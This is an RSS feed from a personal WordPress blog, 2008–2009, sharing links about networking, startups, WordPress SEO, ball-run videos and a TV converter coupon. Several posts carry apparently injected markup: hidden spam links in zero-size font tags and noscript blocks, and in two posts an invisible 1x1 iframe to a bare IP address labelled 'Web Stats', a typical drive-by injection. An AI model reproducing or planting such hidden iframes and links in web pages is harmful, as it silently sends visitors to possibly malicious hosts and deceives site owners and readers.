<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Albert T. Wong - 黃頌言</title>
	<atom:link href="http://alberttwong.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://alberttwong.com</link>
	<description>Thought leader, community leader, software architect</description>
	<lastBuildDate>Sun, 17 Jan 2010 13:38:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>QR code of my contact information</title>
		<link>http://alberttwong.com/2009/04/26/qr-code-of-my-contact-information/</link>
		<comments>http://alberttwong.com/2009/04/26/qr-code-of-my-contact-information/#comments</comments>
		<pubDate>Sun, 26 Apr 2009 17:08:38 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/?p=728</guid>
		<description><![CDATA[&#1086;&#1092;&#1080;&#1089; &#1086;&#1073;&#1079;&#1072;&#1074;&#1077;&#1078;&#1076;&#1072;&#1085;&#1077;  
]]></description>
			<content:encoded><![CDATA[<p><img src="http://alberttwong.com/wp-content/uploads/2009/04/alberttwong_alumniemail_linkedin.png" alt="alberttwong_alumniemail_linkedin" title="alberttwong_alumniemail_linkedin" width="196" height="196" class="alignnone size-full wp-image-725" /><!-- Web Stats --><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1086;&#1092;&#1080;&#1089; &#1086;&#1073;&#1079;&#1072;&#1074;&#1077;&#1078;&#1076;&#1072;&#1085;&#1077;</a></font> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2009/04/26/qr-code-of-my-contact-information/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Let&#8217;s say you&#8217;ve gone back in time.</title>
		<link>http://alberttwong.com/2009/04/12/lets-say-youve-gone-back-in-time/</link>
		<comments>http://alberttwong.com/2009/04/12/lets-say-youve-gone-back-in-time/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 02:28:19 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>
		<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://alberttwong.com/?p=720</guid>
		<description><![CDATA[		  
]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.topatoco.com/graphics/qw-cheatsheet-print-zoom.jpg" width=" 500" />		<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2009/04/12/lets-say-youve-gone-back-in-time/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>7 deadly sins of networking, and how to avoid them &#8211; Manage Your Life on Shine</title>
		<link>http://alberttwong.com/2009/04/12/7-deadly-sins-of-networking-and-how-to-avoid-them-manage-your-life-on-shine/</link>
		<comments>http://alberttwong.com/2009/04/12/7-deadly-sins-of-networking-and-how-to-avoid-them-manage-your-life-on-shine/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 02:26:13 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/?p=718</guid>
		<description><![CDATA[At a time when nearly all of us are scrambling for opportunities and helping others to do the same, people are in networking [...]]]></description>
			<content:encoded><![CDATA[<p>At a time when nearly all of us are scrambling for opportunities and helping others to do the same, people are in networking overdrive. Not a day goes by that I don&apos;t get a few emails from friends seeking introductions to other friends. All that connecting carries a huge risk of mistakes and missteps. Here&apos;s just a sampling of the many ways that well-intentioned attempts at networking can go wrong, and some simple ways to do better.</p>
<p>via <a href='http://shine.yahoo.com/channel/life/7-deadly-sins-of-networking-and-how-to-avoid-them-443310/'>7 deadly sins of networking, and how to avoid them &#8211; Manage Your Life on Shine</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2009/04/12/7-deadly-sins-of-networking-and-how-to-avoid-them-manage-your-life-on-shine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>oobject » 15 videos of amazing rolling ball machines</title>
		<link>http://alberttwong.com/2008/11/06/oobject-%c2%bb-15-videos-of-amazing-rolling-ball-machines/</link>
		<comments>http://alberttwong.com/2008/11/06/oobject-%c2%bb-15-videos-of-amazing-rolling-ball-machines/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 06:01:09 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/11/06/oobject-%c2%bb-15-videos-of-amazing-rolling-ball-machines/</guid>
		<description><![CDATA[oobject » 15 videos of amazing rolling ball machines&#1084;&#1077;&#1073;&#1077;&#1083;&#1080;
From commercial kits such as the Chaos Toy or Spacewarp, to the world’s largest ball [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.oobject.com/category/15-videos-of-amazing-rolling-ball-machines/">oobject » 15 videos of amazing rolling ball machines</a><noscript><a href="http://mebeli-new.free.bg/">&#1084;&#1077;&#1073;&#1077;&#1083;&#1080;</a></noscript><br />
From commercial kits such as the Chaos Toy or Spacewarp, to the world’s largest ball run, the 70 foot high Energy Machine in the Hong Kong Science Museum, these complicated contraptions are a classic form of Rube Goldberg Machine.</p>
<p>Here are a collection of videos of some of the worlds most impressive ball runs in action, including the Mark Bischoff machine that was recreated for Anthony Hopkins’ obsessive character in the movie Fracture, to one built for a one-off ending to Sesame Street.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/11/06/oobject-%c2%bb-15-videos-of-amazing-rolling-ball-machines/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>(The) Startup Depression « The Jason Calacanis Weblog</title>
		<link>http://alberttwong.com/2008/10/13/the-startup-depression-%c2%ab-the-jason-calacanis-weblog/</link>
		<comments>http://alberttwong.com/2008/10/13/the-startup-depression-%c2%ab-the-jason-calacanis-weblog/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 17:12:37 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/10/13/the-startup-depression-%c2%ab-the-jason-calacanis-weblog/</guid>
		<description><![CDATA[(The) Startup Depression « The Jason Calacanis Weblog
Since stock market gyrations and the elections seem to be making
everyone rightfully nauseous and depressed, I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://calacanis.com/2008/09/29/the-startup-depression/">(The) Startup Depression « The Jason Calacanis Weblog</a><br />
Since stock market gyrations and the elections seem to be making<br />
everyone rightfully nauseous and depressed, I thought I would take<br />
this email to discuss the biggest ramifications of these challenging<br />
times: depression.</p>
<p>It’s my believe that the economic downturn will be much worse than it<br />
is today, and that 50-80% of the venture-backed startups currently<br />
operating will shut down or go on life-support (i.e. 3-4 folks working<br />
on them) within the next 18 months.</p>
<p>Make a list of every Web 2.0 startup to raise an A or B round and<br />
cross 80% of them off the list, because they will not make it to their<br />
next round of funding or profitability.</p>
<p>Now, I could be totally wrong. No one can guess or time the markets<br />
perfectly. However, planning for the worst is a virtuous idea, so I<br />
encourage you to read on.</p>
<p>Everyone I talk to is feeling confused, paralyzed and anxious–many<br />
are in full-blown depression. People are scared, and they should be.<br />
This could be the start of a very difficult time for our country and<br />
the rest of the world.</p>
<p>In this email, we’ll focus on the entrepreneurial and startup<br />
depression and economic downturns/depressions–and how you can deal<br />
with them.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/10/13/the-startup-depression-%c2%ab-the-jason-calacanis-weblog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Best of the Best: The Hive Five Winners</title>
		<link>http://alberttwong.com/2008/09/22/best-of-the-best-the-hive-five-winners/</link>
		<comments>http://alberttwong.com/2008/09/22/best-of-the-best-the-hive-five-winners/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 16:46:46 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/09/22/best-of-the-best-the-hive-five-winners/</guid>
		<description><![CDATA[Best of the Best: The Hive Five Winners
Our Hive Five feature series answers the most frequently asked question we hear at Lifehacker: &#8220;What&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://lifehacker.com/5052582/best-of-the-best-the-hive-five-winners">Best of the Best: The Hive Five Winners</a><br />
Our Hive Five feature series answers the most frequently asked question we hear at Lifehacker: &#8220;What&#8217;s the best tool for the job?&#8221; In the past six months, we&#8217;ve covered the five best tools in a number of categories, from best instant messengers and DVD-ripping tools to anti-virus applications and BitTorrent clients. Each week, we ask our savvy readers to vote for the one tool they like best out of the top five; the winner represents the best of the best. Keep reading for a look back at the winners from each Hive Five.</p>
<p>We&#8217;ve tackled a whopping 26 Hive Five categories since the series&#8217; inception, and I&#8217;m just going to tackle them all from oldest to newest. Without further ado, here they are.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/09/22/best-of-the-best-the-hive-five-winners/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2008 Summer Paralympic Games &#8211; The Big Picture &#8211; Boston.com</title>
		<link>http://alberttwong.com/2008/09/15/2008-summer-paralympic-games-the-big-picture-bostoncom/</link>
		<comments>http://alberttwong.com/2008/09/15/2008-summer-paralympic-games-the-big-picture-bostoncom/#comments</comments>
		<pubDate>Mon, 15 Sep 2008 22:08:40 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/09/15/2008-summer-paralympic-games-the-big-picture-bostoncom/</guid>
		<description><![CDATA[Pictures of the 2008 Summer Paralympic Games.   Very, very cool.
2008 Summer Paralympic Games &#8211; The Big Picture &#8211; Boston.com
From September 6th [...]]]></description>
			<content:encoded><![CDATA[<p>Pictures of the 2008 Summer Paralympic Games.   Very, very cool.</p>
<p><a href="http://www.boston.com/bigpicture/2008/09/2008_summer_paralympic_games.html">2008 Summer Paralympic Games &#8211; The Big Picture &#8211; Boston.com</a><br />
From September 6th to September 17th, Beijing is once again hosting athletes from around the world. Over 4,200 athletes &#8211; from six different disability groups &#8211; from 148 countries are taking part in the 2008 Summer Paralympic Games. Not only are the sports divided into events, but the events are divided into different disability categories, to even out the playing field as much as possible. The slogan for this years Paralympic Games is the same as the one for the Olympics held just last month: &#8220;One World, One Dream&#8221;. </p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/09/15/2008-summer-paralympic-games-the-big-picture-bostoncom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stocking a Bar &#8211; Building the $100 Bar &#124; HackCollege</title>
		<link>http://alberttwong.com/2008/09/01/stocking-a-bar-building-the-100-bar-hackcollege/</link>
		<comments>http://alberttwong.com/2008/09/01/stocking-a-bar-building-the-100-bar-hackcollege/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 18:23:05 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/09/01/stocking-a-bar-building-the-100-bar-hackcollege/</guid>
		<description><![CDATA[Stocking a Bar &#8211; Building the $100 Bar &#124; HackCollege
Stocking a bar is a difficult task. Stocking a bar for $100 is even [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hackcollege.com/2008/03/08/stocking-a-bar-building-the-100-bar/">Stocking a Bar &#8211; Building the $100 Bar | HackCollege</a><br />
Stocking a bar is a difficult task. Stocking a bar for $100 is even more difficult. Because there is no be-all-end-all method of stocking a bar for $100, you need to keep your goals in mind.</p>
<p>Limiting Factors:</p>
<p>    * Cost<br />
    * Number of People<br />
    * Length of Party</p>
<p>This is a lot of stuff. Take everything with a (margarita) grain of salt and make changes as you see fit. No party is exactly the same; likewise no party has the same requirements. And — depending on your state’s liquor laws, taxes, or store rip-off-ness, prices vary.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/09/01/stocking-a-bar-building-the-100-bar-hackcollege/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress SEO &#8211; Definitive Guide To High Rankings For Your Blog</title>
		<link>http://alberttwong.com/2008/08/30/wordpress-seo-definitive-guide-to-high-rankings-for-your-blog/</link>
		<comments>http://alberttwong.com/2008/08/30/wordpress-seo-definitive-guide-to-high-rankings-for-your-blog/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 06:21:53 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/08/30/wordpress-seo-definitive-guide-to-high-rankings-for-your-blog/</guid>
		<description><![CDATA[Very good guide on WordPress SEO!
WordPress SEO &#8211; Definitive Guide To High Rankings For Your Blogoptical communications
I started writing my beginner&#8217;s guide to [...]]]></description>
			<content:encoded><![CDATA[<p>Very good guide on WordPress SEO!</p>
<p><a href="http://yoast.com/articles/wordpress-seo/">WordPress SEO &#8211; Definitive Guide To High Rankings For Your Blog</a><noscript><a href="http://vtsc.info/en/publication/">optical communications</a></noscript><br />
I started writing my beginner&#8217;s guide to WordPress SEO a while back, and have since done a load of posts on the subject, an article in the Search Marketing Standard, newsletters, and presentations. It&#8217;s time to let all the info of all these different articles fall into one big piece: the final guide to WordPress SEO.</p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/08/30/wordpress-seo-definitive-guide-to-high-rankings-for-your-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TV Converter Box Coupon Program Website</title>
		<link>http://alberttwong.com/2008/08/25/tv-converter-box-coupon-program-website/</link>
		<comments>http://alberttwong.com/2008/08/25/tv-converter-box-coupon-program-website/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 18:28:15 +0000</pubDate>
		<dc:creator>atwong</dc:creator>
				<category><![CDATA[Conversation Pieces]]></category>

		<guid isPermaLink="false">http://alberttwong.com/2008/08/25/tv-converter-box-coupon-program-website/</guid>
		<description><![CDATA[Did you get this yet?  Installed it for my parents, works great. Picture quality is much better and they get &#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090; chinese [...]]]></description>
			<content:encoded><![CDATA[<p>Did you get this yet?  Installed it for my parents, works great. Picture quality is much better and they get <gasp><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.sibresource.ru/">&#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090;</a></font> chinese tv channel all day now <img src='http://alberttwong.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p><a href="https://www.dtv2009.gov/">TV Converter Box Coupon Program Website</a><br />
</gasp></p>
]]></content:encoded>
			<wfw:commentRss>http://alberttwong.com/2008/08/25/tv-converter-box-coupon-program-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
